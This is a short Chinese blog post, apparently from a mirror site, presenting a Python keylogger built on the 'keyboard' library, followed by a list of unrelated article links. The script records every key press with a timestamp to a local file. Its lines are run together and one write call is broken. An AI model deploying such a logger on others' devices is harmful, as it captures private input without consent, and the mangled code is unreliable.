当前位置: 首页 > news >正文

Python - 小玩意 - 键盘记录器

pip install keyboard
import keyboard
import timedef get_time():date_time = time.strftime("%Y-%m-%d %H:%S", time.localtime())return date_timedef abc(x):if x.event_type == 'down':print(f"{get_time()}你按下了{x.name}")with open('./键盘记录器.txt', 'a+') as f:f.write("{get_time()}你按下了{x.name}")f.write("\n")keyboard.hook(abc)
keyboard.wait()

目录

在这里插入图片描述

记录键盘活动

在这里插入图片描述

http://www.lryc.cn/news/170462.html

相关文章:

  • msvcp71.dll丢失的解决方法分享,全面分析msvcp71.dll丢失原因
  • stm32----ADC模数转换
  • Unity SteamVR 开发教程:用摇杆/触摸板控制人物持续移动(2.x 以上版本)
  • 04条件构造器和常用接口
  • 什么是HTTP状态码?常见的HTTP状态码有哪些?
  • vue3的双向绑定原理分析
  • MySQL数据库时间计算的用法
  • 应用在儿童平板防蓝光中的LED防蓝光灯珠
  • BERT 快速理解——思路简单描述
  • 二叉树实现的相关函数
  • Redis面试题(二)
  • STP介绍
  • numpy 和 tensorflow 中的各种乘法(点乘和矩阵乘)
  • (图论) 1020. 飞地的数量 ——【Leetcode每日一题】
  • c++ 重载、重写、覆盖
  • Python异步编程高并发执行爬虫采集,用回调函数解析响应
  • SpriteKit与Swift配合:打造您的第一个简易RPG游戏的步骤指南
  • 服务网格的面临挑战:探讨服务网格实施中可能遇到的问题和解决方案
  • leetcode61 旋转链表
  • 【学习笔记】各类基于决策单调性的dp优化
  • 【C++】构造函数初始化列表 ⑤ ( 匿名对象 生命周期 | 构造函数 中 不能调用 构造函数 )
  • Knife4j系列--使用方法
  • pmp项目管理考试是什么?适合哪些人学?
  • CSDN博客可以添加联系方式了
  • 小程序隐私弹窗的实现
  • 【JavaEE】多线程案例-单例模式
  • 社区分享|MeterSphere变身“啄木鸟”,助力云帐房落地接口自动化测试
  • fpga内嵌逻辑分析仪使用方法
  • 第14章 结构和其他数据形式
  • vue 把echarts封装成一个方法 并且从后端读取数据 +转换数据格式 =动态echarts 联动echarts表